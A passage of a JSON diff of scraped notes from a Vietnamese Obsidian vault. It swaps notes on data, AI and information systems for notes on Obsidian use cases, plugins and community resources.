"Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu", + "Tiêu đề": "Obsidian không sử dụng dữ liệu dạng bảng", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Obsidian không sử dụng dữ liệu dạng bảng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Ngôn ngữ của người dùng và ngôn ngữ của người cung cấp giải pháp có thể khác nhau]]\n[[Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả]]", + "Toàn bộ nội dung": "Lý do:: [[Obsidian lưu dữ liệu ở định dạng đơn giản]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-16T10:06:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-06-30T05:37:00.000Z", + "Ngày cập nhật": "2024-09-05T15:49:00.000Z", "id": "8g" }, { - "Tiêu đề": "Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Máy học/Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào", + "Tiêu đề": "Việc hợp tác qua mạng trên Obsidian tốt nhất là qua Git", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Việc hợp tác qua mạng trên Obsidian tốt nhất là qua Git", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [WE1S – A 4Humanities Project](https://we1s.ucsb.edu/)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-29T11:21:00.000Z", - "Ngày cập nhật": "2024-09-02T07:50:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8h" }, { - "Tiêu đề": "Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Máy học/Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai", + "Tiêu đề": "Đơn vị nhỏ nhất của Obsidian là file, không phải block", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Đơn vị nhỏ nhất của Obsidian là file, không phải block", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Mẫu hình (pattern)]]\n\n[[Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản]]\n![The danger of predictive algorithms in criminal justice | Hany Farid | TEDxAmoskeagMillyard - YouTube](https://youtu.be/p-82YeUPQh0?si=oVmv52ZlZoym0Rum)\n![Imagine Predictive Analytics Putting a Crystal Ball in Your Hand | Dr. Phil Wells | TEDxKanata - YouTube](https://youtu.be/QWps8A-hljw?si=-1uQbDlJ7Ww8sE_S)\n\n\n[Đủ các chủ đề liên quan đến pattern recognition](https://explorer.globe.engineer/search?qd=%5B%7B%22index%22%3A0%2C%22type%22%3A%22top_searchbox%22%2C%22searchbox_query%22%3A%22pattern%20recognition%22%2C%22clicked_category%22%3Anull%2C%22search_id%22%3A%2278c262fb-1b09-40fc-9943-404e65827452%22%2C%22staged_image%22%3Anull%7D%5D&sid=78c262fb-1b09-40fc-9943-404e65827452). Neural network chắc là ứng dụng lý thuyết đồ thị đầy nhóc trong đó ", + "Toàn bộ nội dung": "Ngược lại, [[Notion]], [[Fibery]] dùng block. [[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:50:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8i" }, { - "Tiêu đề": "Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Máy học/Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản", + "Tiêu đề": "Chơi game", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Chơi game", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\nTrong lĩnh vực tội phạm học, các mô hình dự báo về khả năng phạm tội của một người có thể có độ chính xác tương đương với những người ngẫu nhiên tweet \nNguồn:: ![The danger of predictive algorithms in criminal justice | Hany Farid | TEDxAmoskeagMillyard - YouTube](https://youtu.be/p-82YeUPQh0?si=kjFWnZRibR8zUnPI&t=760)", + "Toàn bộ nội dung": "## [Obsidian TTRPG Tutorials](https://obsidianttrpgtutorials.com/Obsidian+TTRPG+Tutorials/Obsidian+TTRPG+Tutorials \"Obsidian TTRPG Tutorials - Obsidian TTRPG Tutorials\")\n![[DnD.webp]]\n![](https://raw.githubusercontent.com/SlRvb/Obsidian--ITS-Theme/main/Images/Theme-DnD-WOTC--Lightmode.png)\n\n## [Living World of Verum](https://corvanis.wiki/Hub \"Hub - Living World of Verum\")\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:50:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-20T09:32:00.000Z", "id": "8j" }, { - "Tiêu đề": "Ngành khoa học dữ liệu còn nhiều thuật ngữ không có sự ổn định về nghĩa", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Ngành khoa học dữ liệu còn nhiều thuật ngữ không có sự ổn định về nghĩa", + "Tiêu đề": "Kho dữ liệu cá nhân", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Kho dữ liệu cá nhân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nlook at what [information extraction covers](https://en.wikipedia.org/wiki/Information_extraction): it's very broad and vague, it goes from keyword extraction (but then, what is a keyword?) to extracting sophisticated semantic relations, and there can be many ways to represent semantic information. Additionally to the fact that data science is very recent compared to maths or physics, some of its concepts are philosophical concepts that philosophy itself doesn't define precisely. The blurry nature of concepts such as information, language, or even logic is the cause.\n\nNguồn:: [nlp - How to structure unstructured data - Data Science Stack Exchange](https://datascience.stackexchange.com/questions/96994/how-to-structure-unstructured-data/97010?noredirect=1#comment125619_97010)", + "Toàn bộ nội dung": "- [SlRvb's MediaDB Setup](https://forum.obsidian.md/t/slrvbs-mediadb-setup/23227): quản lý những sản phẩm văn hoá đại chúng như nhạc, phim, tiểu thuyết mà mình nghe, xem, đọc", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2024-08-20T09:32:00.000Z", + "Ngày cập nhật": "2024-08-20T09:32:00.000Z", "id": "8k" }, { - "Tiêu đề": "40% lượng điện của các trung tâm dữ liệu là để cho việc làm mát", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Trung tâm dữ liệu/40% lượng điện của các trung tâm dữ liệu là để cho việc làm mát", + "Tiêu đề": "Kho tài nguyên cộng đồng", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Kho tài nguyên cộng đồng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", + "Toàn bộ nội dung": "- [Obsidian Hub](https://publish.obsidian.md/hub/00+-+Start+here): nơi tổng hợp các showcase, template, guide, workflow, concept, toolbox, theme, plugin, etc\n- [Data Engineering Wiki](https://dataengineering.wiki/Index)\n- [The Integral Guide to Well-Being](https://integralguide.com/⭐️+Start+Here/About): hãy đọc bức tường chữ dưới đây:\n> When I was [diagnosed](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/Diagnoses) with [Complex PTSD](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+Complex+PTSD), [Anxiety](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+Anxiety), [Depression](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+Depression), [ADHD](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%92%A1+ADHD), and [OCD](https://integralguide.com/50+Permanent+Notes/%F0%9F%92%A1+Terms/Diagnoses/%F0%9F%A7%AF+Obsessive-Compulsive+Disorder) I wanted clarity, I wanted direction, I wanted tools, and I wanted people to stop trying to sell healing to me. \n> \n> I was dismayed and angry that resources were difficult to find, redundant, compartmentalized, antiquated, contradictory, locked behind a paywall, highly triggering, overlong, full of word-salad, or some combination thereof. \n> \n> I was triggered and re-traumatized by \"self-help\" books full of trauma stories, YouTube videos and articles that took 25 minutes to explain what could take 5, and the Instagram slot-machine full of contradictory information pulling me back and forth. And if they weren’t triggering, they either monetized my attention or ended with a sales pitch to get the \"real secrets.\" There was little sincerity or lived experience in trauma recovery and I felt exploited, helpless, and alone.\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2024-08-20T09:30:00.000Z", + "Ngày cập nhật": "2024-08-20T09:32:00.000Z", "id": "8l" }, { - "Tiêu đề": "Dấu chân carbon của việc tính toán đã vượt qua công nghiệp hàng không", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Trung tâm dữ liệu/Dấu chân carbon của việc tính toán đã vượt qua công nghiệp hàng không", + "Tiêu đề": "Nghiên cứu", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Nghiên cứu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", + "Toàn bộ nội dung": "## [Linking Your Thinking](https://notes.linkingyourthinking.com) \n\n## [Qualitative Analysis Environment](https://axle.design/an-integrated-qualitative-analysis-environment-with-obsidian) \nMaxQDA, NVivo, Atlas.ti, and a variety of other apps are designed to help researchers analyze qualitative data. These apps are doubtlessly powerful, but they all offered too steep of a learning curve when I was tasked with a small analysis project in 2020.\n\nnhững phần nghiên cứu định tính MaxQDA, NVivo, Atlas.ti tuy mạnh nhưng lại đắt và khó học. Cái vault này thì dành cho những dự án nhỏ hơn. Tác giả theo grounded field theory\n\n## [The Academic Knowledge Management (AKM) system that 10x’d my research productivity | Chris Lovejoy](https://www.chrislovejoy.me/akm)\n\nXem thêm:: [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-29T11:39:00.000Z", + "Ngày cập nhật": "2024-08-20T09:31:00.000Z", "id": "8m" }, { - "Tiêu đề": "Ngành công nghiệp siêu tính toán được xây dựng trên nền tảng thuộc địa từ việc khai thác tài nguyên ở các nước bán cầu nam", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/Trung tâm dữ liệu/Ngành công nghiệp siêu tính toán được xây dựng trên nền tảng thuộc địa từ việc khai thác tài nguyên ở các nước bán cầu nam", + "Tiêu đề": "Quản lý cuộc sống cá nhân", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Quản lý cuộc sống cá nhân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", + "Toàn bộ nội dung": "# The Mirage Island \n\n# [The Integral Guide to Well-Being](https://integralguide.com/%E2%AD%90%EF%B8%8F+Start+Here/About)\nHướng dẫn tích hợp là hướng dẫn thực địa của bạn chọn riêng mà tôi viết để hỗ trợ phục hồi chấn thương cá nhân và phát triển bản thân và cảm thấy được trao quyền và được trang bị tốt hơn để có một cuộc sống phong phú.\n\nKhi tôi thấy mình bị suy nhược với các triệu chứng của PTSD phức tạp, lo lắng, trầm cảm, ADHD và OCD tôi muốn rõ ràng, tôi muốn định hướng, tôi muốn các công cụ và tôi muốn mọi người ngừng cố gắng bán chữa bệnh cho tôi.\n\nTôi đã mất tinh thần và tức giận rằng các tài nguyên rất khó tìm, dư thừa, ngăn cách, cổ xưa, mâu thuẫn, bị khóa sau một cái tường tiền chế, kích hoạt cao, quá mức, đầy đủ các từ, hoặc một số kết hợp của chúng.\n\nTôi đã được kích hoạt và chiến thắng lại bởi những cuốn sách \"tự giúp đỡ\" đầy những câu chuyện chấn thương và ngôn ngữ phi nhân hóa, các video và bài viết trên YouTube mất 25 phút để giải thích những gì có thể mất 5 và máy đánh bạc trên Instagram đầy đủ thông tin trái ngược với tôi Và ra. Và nếu họ kích hoạt, họ đã kiếm tiền từ sự chú ý của tôi hoặc kết thúc bằng một sân bán hàng để có được \"bí mật thực sự\". Có rất ít sự chân thành hoặc trải nghiệm sống trong phục hồi chấn thương và tôi cảm thấy bị bóc lột, bất lực và một mình.\n\nThông thường, một người mà một người gặp phải càng có khả năng kiếm được nhiều tiền mà họ có thể có, họ càng cần nhiều sự giúp đỡ, và càng tốn kém hơn. Làm thế nào tôi có thể được mong đợi có thời gian và tiền bạc cho cả điều trị và tự giáo dục-đặc biệt nếu điều đó có nghĩa là đánh bạc với những gì tôi có và sàng lọc để tìm những gì thực sự sẽ giúp ích?\n\nNhưng tôi đã tìm thấy mọi thứ, và sau đó nhận thấy nhiều người trong số họ và các nhà phát triển của họ đang cảm thấy con voi, khăng khăng quan điểm của họ là sự thật vốn-T và giải pháp duy nhất tôi cần. Nhưng tôi là một nhà tư tưởng hệ thống - tôi muốn nhìn thấy toàn bộ con voi. Tôi nghĩ rằng họ gọn gàng.\n\nVì vậy, tôi đã ghi chú trong obsidian. Điều này đã giải quyết một số vấn đề:\n\n - Tôi có thể tích hợp các tài nguyên tuyến tính vào một web phi tuyến tính và hình thành những hiểu biết mà tôi không bao giờ có.\n - Tôi có thể sử dụng ngôn ngữ nhẹ nhàng hơn và tự dạy mình theo cách mà tôi ước mình được dạy, điều này làm cho việc xem xét những gì tôi học được dễ dàng hơn và cần ít chuẩn độ hơn.\n - Tôi có thể sử dụng ngôn ngữ rõ ràng hơn - bằng cách thống nhất các thuật ngữ khác nhau mà các nguồn của tôi sử dụng để nói về cùng một ý tưởng và phân biệt khi các nguồn sử dụng cùng một thuật ngữ để nói về các ý tưởng khác nhau, tôi có thể tạo ra một \"mô hình meta\" rõ ràng.\n - Tôi có thể nhét những phát hiện của mình vào các liên kết mà tôi có thể đặt bất cứ nơi nào tôi muốn, vì vậy tôi có thể nói điều gì đó một lần và sau đó bối cảnh hóa nó.\n - Tôi có thể cập nhật các ghi chú của mình khi cần thiết, và chúng sẽ tốt hơn và chặt chẽ hơn theo thời gian. Trong khi hầu hết các tài nguyên là tĩnh, ghi chú của tôi là năng động.\n\nKhi các ghi chú của tôi hình thành, tôi nhận ra rằng tôi đã tạo ra tài nguyên tôi cần khi bắt đầu, và tôi tưởng tượng sự nhẹ nhõm mà bản thân tôi sẽ cảm thấy đã tìm thấy nó.\n\nThông qua các diễn đàn và các nhóm hỗ trợ, tôi đã học được rằng có rất nhiều người như tôi, chấn thương đó là phổ biến, nhưng-giữa việc sống trong một xã hội tư bản, thiếu hụt nhà trị liệu và thiếu sự chăm sóc và tài nguyên thông tin chấn thương-cơ sở hạ tầng trị liệu cần thiết để chữa lành chúng ta Tất cả không tồn tại. Tôi biết tôi có thể thay đổi điều đó một mình, nhưng tôi cũng biết rằng không ai xứng đáng cảm thấy lạc lõng và choáng ngợp như tôi có, vì vậy tôi quyết định xuất bản các ghi chú của mình, miễn phí.\nThrough [forums and support groups](https://integralguide.com/50+Permanent+Notes/Supporting+Notes/Support+Groups) I learned that there are many like me, that trauma is common, but — between living in a capitalist society, a therapist shortage, and a lack of trauma-informed care and resources — the therapeutic infrastructure necessary to heal us all does not exist. I know I can’t change that single-handedly, but I also know that nobody deserves to feel as lost and overwhelmed as I have, so I decided to publish my notes, in full, for free.\n# [Linking Your Thinking](https://notes.linkingyourthinking.com)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-20T09:29:00.000Z", "id": "8n" }, { - "Tiêu đề": "Các nhóm làm việc qua mạng ngày càng nhiều", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Các nhóm làm việc qua mạng ngày càng nhiều", + "Tiêu đề": "Quản lý dự án", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Quản lý dự án", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "With the rise of [remote work and distributed teams](https://medium.com/@anupamr/distributed-teams-are-the-new-cloud-for-startups-14240a9822d7),\n\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]. Tuy vậy, [[Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ]]\n[[Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó]]\n[[Sản phẩm no code đem đến sự phản hồi tức thời]]\n[[Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments]]", + "Toàn bộ nội dung": "# Quả Cầu \r\nQuả Cầu hướng đến việc trở thành một tổ chức không có sự phân cấp và người tham gia không làm vì trách nhiệm, lấy nhu cầu của thành viên (vốn nhiều vô kể và thay đổi liên tục) làm mục tiêu của tổ chức, để họ trở thành những người có kỹ năng đa dạng và tư duy liên ngành, dựa trên triết học của Deleuze và Guattari, khoa học phức hợp, game phiêu lưu nhập vai, nền kinh tế không dùng tiền, và hai phần mềm Obsidian và Git\r\n```button\r\nname Mở vault \"Vùng đất Quả Cầu\"\r\ntype link\r\nAction obsidian://open?vault=Land%20of%20Spheres&file=2%20K%E1%BB%B9%20n%C4%83ng%2C%20th%E1%BB%AD%20th%C3%A1ch%2C%20m%E1%BB%A9c%20%C4%91%E1%BB%99%20th%C3%A0nh%20th%E1%BA%A1o%2F21%20Hi%E1%BB%83u%20Qu%E1%BA%A3%20C%E1%BA%A7u%2FK%E1%BB%B9%20n%C4%83ng%20nh%E1%BB%8F%20h%C6%A1n%2FS%E1%BB%AD%20d%E1%BB%A5ng%20d%E1%BB%AF%20li%E1%BB%87u%20c%E1%BB%A7a%20Qu%E1%BA%A3%20C%E1%BA%A7u%2F%C3%9D%20%C4%91%E1%BB%93%20thi%E1%BA%BFt%20k%E1%BA%BF%20th%C6%B0%20m%E1%BB%A5c\r\ncolor blue\r\n```\r\n^button-ko6t\r\n\r\nCài đặt: https://github.com/QuaCau-TheSphere/LOS-Installer/releases/latest\r\n\r\n# Chương trình dã ngoại\r\nhttps://github.com/QuaCau-TheSphere/Bay-chim-sao-Phuoc-Binh\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T09:32:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8o" }, { - "Tiêu đề": "Các tổ chức thường chỉ lưu trữ kiến thức mà ít khi dành nhiều sự chú ý tới kết nối chúng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Các tổ chức thường chỉ lưu trữ kiến thức mà ít khi dành nhiều sự chú ý tới kết nối chúng", + "Tiêu đề": "Quản lý mối quan hệ", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo mục đích xây dựng vault/Quản lý mối quan hệ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Quản trị kiến thức]]\nThere are two reasons for that behavior:\n\n1. Most note-taking/wiki software doesn’t have good enough tools to create, navigate, and manage connections.\n2. Explicit connection creation is a heavy cognitive task, so people tend to skip it.\n\nNguồn:: [Augmenting Organizational Intelligence](https://fibery.io/blog/augmenting-organizational-intelligence/)\n[[Việc nhìn ra mẫu hình cần những kiến thức có cấu trúc được lưu trong trí nhớ dài hạn]]", + "Toàn bộ nội dung": "| Tính năng →
    Tên gọi ↓ | Thành viên được truy cập | Ngành học sử dụng | \n| ---------------------------- | ------------------------------ | ------------------ |\n| Mạng kết nối nhu cầu | Người lạ | Khoa học phức hợp |\n| Liên minh, mạng lưới đối tác | Các thành viên trong mạng lưới | |\n| CRM | Chỉ có mình biết | Hệ thống thông tin |\n\n\n\nĐây là một vault Obsidian để cộng đồng người dùng có thể đăng ký thông tin cá nhân (bản thân họ có nhu cầu gì và có gì để trao đổi) và tìm đối tượng/đội nhóm để trao đổi. Thứ dùng để trao đổi là nhu cầu cá nhân (học ngoại ngữ, cải thiện kỹ năng, v.v.) hoặc đồ vật, vân vân. \n```button\nname Mở vault\ntype link\naction obsidian://open?vault=Need%20Exchange&file=9%20T%C3%A0i%20li%E1%BB%87u%2FFAQ\ncolor blue\n```\n^button-66k3\n\nChức năng:\n- Từ Facebook chỉ cần click một link là có thể điền nhu cầu của mình \n- Plugin chuyển file từ ERP của mình sang đây và ngược lại\n- Thông báo khi có người có cùng nhu cầu với mình\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2024-08-20T09:29:00.000Z", "id": "8p" }, { - "Tiêu đề": "Cấu trúc phân cấp thường cứng nhắc và nhân tạo", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Cấu trúc/Cấu trúc phân cấp thường cứng nhắc và nhân tạo", + "Tiêu đề": "Ghi chú trên YouTube", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/1. Ghi chú thông tin/Ghi chú trên YouTube", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> Hierarchical structures are usually forced and artificial. Intertwingularity is not generally acknowledged — people think they can make things hierarchical, categorizable and sequential when they can't.\n> — Ted Nelson\n", + "Toàn bộ nội dung": "\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8q" }, { - "Tiêu đề": "Những gì ta viết thì nên được tự động được cấu trúc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Cấu trúc/Những gì ta viết thì nên được tự động được cấu trúc", + "Tiêu đề": "Canvas", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/2. Hệ thống hoá thông tin/Canvas", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[Thoughts On Markdown — Smashing Magazine](https://www.smashingmagazine.com/2022/02/thoughts-on-markdown/)\n![Unmixing structure and presentation – Even Westvang (We need to talk about content, Aug 22, 2019) - YouTube](https://youtu.be/lVHj7Y90Ieg?si=NQOU3WJYso6atUCL)\n\n[[Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug]]", + "Toàn bộ nội dung": "# Chỉnh sửa ghi chú\r\nIan Hayes\r\n![](https://obsidian.md/images/canvas/canvas-ian-hayes.png) \r\n\r\n# Dòng thời gian\r\nSIRvb\r\n![](https://obsidian.md/images/canvas/canvas-SlRvb.png) \r\n\r\n# Phân loại sinh vật\r\nSarai Rosario\r\n![](https://obsidian.md/images/canvas/canvas-lunaris13.png) \r\n\r\n# Kế hoạch xây dựng\r\nÇağlar Ongan\r\n![](https://obsidian.md/images/canvas/canvas-caglar-ongan.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8r" }, { - "Tiêu đề": "Việc quản lý công việc thường cần một cấu trúc", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Cấu trúc/Việc quản lý công việc thường cần một cấu trúc", + "Tiêu đề": "Excalidraw", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/2. Hệ thống hoá thông tin/Excalidraw", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Cấu trúc phân cấp thường cứng nhắc và nhân tạo]]\n[[Fibery]]\n[[DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ]]\n[[Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8s" }, { - "Tiêu đề": "Dữ liệu chính là lập trình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/Dữ liệu chính là lập trình", + "Tiêu đề": "Tạo nút", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Theo tính năng của plugin/3. Truy xuất thông tin/Tạo nút", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code]]\n[[Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug]]\n[[Những gì ta viết thì nên được tự động được cấu trúc]]\n[[Dữ liệu không phải thông tin, thông tin không phải kiến thức, kiến thức không phải hiểu biết, hiểu biết không phải thông 